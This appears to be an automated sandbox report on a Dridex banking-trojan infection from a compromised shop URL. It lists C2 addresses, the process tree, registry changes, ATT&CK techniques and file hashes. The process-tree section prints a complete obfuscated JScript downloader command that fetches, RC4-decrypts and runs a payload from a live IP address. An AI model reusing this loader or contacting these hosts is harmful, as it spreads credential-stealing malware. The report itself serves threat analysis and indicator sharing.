dridex | hxxps://nawa-store[.]com/shopinside

General

Target

https://nawa-store.com/shopinside

Score

10^/10

dridex 10111 botnet discovery evasion trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

186.250.48.117:443

92.240.254.110:6602

81.223.127.86:10172

86.49.161.18:9043

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Blocklisted process makes network request 1 IoCs

Processes:

wscript.exe

flow pid process

26 2076 wscript.exe
Executes dropped EXE 1 IoCs

Processes:

c45i3.exe

pid process

924 c45i3.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

c45i3.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA c45i3.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
26	2076	wscript.exe

pid	process
924	c45i3.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	c45i3.exe

Modifies Internet Explorer settings 1 TTPs 30 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Telligent	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$blogger	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Discuz!	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 3	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\FileVersion = "2016061511"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "345082350"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate\NextUpdateDate = "345098948"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 4	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{73F839CF-5496-11EC-B34F-DEDEDD978CA2} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\NextUpdateDate = "345130939"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$WordPress	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$http://www.typepad.com/	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$MediaWiki	iexplore.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

iexplore.exe

pid process

3576 iexplore.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

3576 iexplore.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

3576 iexplore.exe
3576 iexplore.exe
4268 IEXPLORE.EXE
4268 IEXPLORE.EXE
4268 IEXPLORE.EXE
4268 IEXPLORE.EXE

pid	process
3576	iexplore.exe

pid	process
3576	iexplore.exe

pid	process
3576	iexplore.exe
3576	iexplore.exe
4268	IEXPLORE.EXE
4268	IEXPLORE.EXE
4268	IEXPLORE.EXE
4268	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

iexplore.exeIEXPLORE.EXEcmd.exewscript.execmd.exe

description	pid	process	target process
PID 3576 wrote to memory of 4268	3576	iexplore.exe	IEXPLORE.EXE
PID 3576 wrote to memory of 4268	3576	iexplore.exe	IEXPLORE.EXE
PID 3576 wrote to memory of 4268	3576	iexplore.exe	IEXPLORE.EXE
PID 4268 wrote to memory of 3672	4268	IEXPLORE.EXE	cmd.exe
PID 4268 wrote to memory of 3672	4268	IEXPLORE.EXE	cmd.exe
PID 4268 wrote to memory of 3672	4268	IEXPLORE.EXE	cmd.exe
PID 3672 wrote to memory of 2076	3672	cmd.exe	wscript.exe
PID 3672 wrote to memory of 2076	3672	cmd.exe	wscript.exe
PID 3672 wrote to memory of 2076	3672	cmd.exe	wscript.exe
PID 2076 wrote to memory of 668	2076	wscript.exe	cmd.exe
PID 2076 wrote to memory of 668	2076	wscript.exe	cmd.exe
PID 2076 wrote to memory of 668	2076	wscript.exe	cmd.exe
PID 668 wrote to memory of 924	668	cmd.exe	c45i3.exe
PID 668 wrote to memory of 924	668	cmd.exe	c45i3.exe
PID 668 wrote to memory of 924	668	cmd.exe	c45i3.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://nawa-store.com/shopinside
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3576

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3576 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4268

C:\Windows\SysWOW64\cmd.exe
cmd.exe /q /c cd /d "%tmp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/["Wait"+"ForResponse"]();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinH"+"ttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=WScript[P+"FullName"],E="."+p;Y="Type";s[Y]=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(32-1^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp "htEL5N9d" "http://188.227.107.25/?NDk3MTk3&AUyexPr&dsfdfg43t=DMVHYG06VxY2RhOjXQt2xeWX_k7fDfF_2rwrcSB2JtfEdf7FWbFHgjxHVeABolYhZAFsX8KGviEaHwUOY05LU_0GINwxBq5uSFuRq2m30z7UkLYsixCY&ogfhghgn4=xXnQMvWZbRXQCJ3BJf3HUKR&cxssdvxcv=120ktrain.119ty95.406i7v6p7&fhfghddfsdf=twix&sdfsdfdfg=community&fQZTRmrIMTk1MzA=" "2"
3⤵
- Suspicious use of WriteProcessMemory
PID:3672

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp "htEL5N9d" "http://188.227.107.25/?NDk3MTk3&AUyexPr&dsfdfg43t=DMVHYG06VxY2RhOjXQt2xeWX_k7fDfF_2rwrcSB2JtfEdf7FWbFHgjxHVeABolYhZAFsX8KGviEaHwUOY05LU_0GINwxBq5uSFuRq2m30z7UkLYsixCY&ogfhghgn4=xXnQMvWZbRXQCJ3BJf3HUKR&cxssdvxcv=120ktrain.119ty95.406i7v6p7&fhfghddfsdf=twix&sdfsdfdfg=community&fQZTRmrIMTk1MzA=" "2"
4⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2076

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c c45i3.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:668

C:\Users\Admin\AppData\Local\Temp\c45i3.exe
c45i3.exe
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:924

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\NSXAPNBS.cookie
MD5
4574811bc64ca25a5e5c52ad3e0b820d

SHA1
07c9e2e31d2d13c16b56cee505173b7fb7ca76ed

SHA256
d6462c5300e2dfaf21f88fc1b02790c689ea44b03ead573f34ccc3afbb229b08

SHA512
ee98bb2b249f87467ff9d22493db228dc5d100dccbc7523426a3a85a6c46e43fff2003a04a56f49bb2783d1e6d50f19b8e68f0759d21df334216be4e229ecf7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\3.tMp
MD5
60fc00422b399db85f87d41b8328976d

SHA1
bb85034acad8025f97e5bb236443debaf8926e4b

SHA256
c38eb3965155b143c8d72bf219ec6dd985a106ce0776c272470b0019e74fb690

SHA512
16fa1a3c187500b5c3867fa05752428496273b73c2960c54d2e34e4833a057392c1f5469c8824fdc3d29c9ece2e65189ee281638ccaae941437a259192591151

Download Submit
C:\Users\Admin\AppData\Local\Temp\c45i3.exe
MD5
f219b020c4af28acaaa29ab11d03b759

SHA1
2da3d0170cbfc790cd82a4f79119261da141c7e4

SHA256
615b16ee9b1b7be56e000f4fb0835f7b0ac8d0ced27396929ab2c2e47489ce64

SHA512
ccad5672bb0bb1e7b4e462025f621662219c868e5643546f5ab9f9e25a6fa657ec3827c6d5a87818132079fb19e5e01a8b7345973d3182c39af01ff1ea8edda3

Download Submit
C:\Users\Admin\AppData\Local\Temp\c45i3.exe
MD5
f219b020c4af28acaaa29ab11d03b759

SHA1
2da3d0170cbfc790cd82a4f79119261da141c7e4

SHA256
615b16ee9b1b7be56e000f4fb0835f7b0ac8d0ced27396929ab2c2e47489ce64

SHA512
ccad5672bb0bb1e7b4e462025f621662219c868e5643546f5ab9f9e25a6fa657ec3827c6d5a87818132079fb19e5e01a8b7345973d3182c39af01ff1ea8edda3

Download Submit
memory/668-174-0x0000000000000000-mapping.dmp

Download
memory/924-179-0x0000000000400000-0x00000000004F6000-memory.dmp

Filesize
984KB

Download
memory/924-178-0x0000000000500000-0x00000000005AE000-memory.dmp

Filesize
696KB

Download
memory/924-175-0x0000000000000000-mapping.dmp

Download
memory/2076-172-0x0000000000000000-mapping.dmp

Download
memory/3576-134-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-166-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-131-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-132-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-118-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-135-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-136-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-139-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-138-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-140-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-141-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-119-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-144-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-145-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-147-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-148-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-150-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-152-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-153-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-154-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-158-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-159-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-160-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-130-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-167-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-168-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-169-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-170-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-191-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-128-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-127-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-126-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-125-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-124-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-122-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-123-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-120-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-180-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-181-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-185-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-186-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-189-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3576-190-0x00007FFD43F70000-0x00007FFD43FDB000-memory.dmp

Filesize
428KB

Download
memory/3672-171-0x0000000000000000-mapping.dmp

Download
memory/4268-143-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing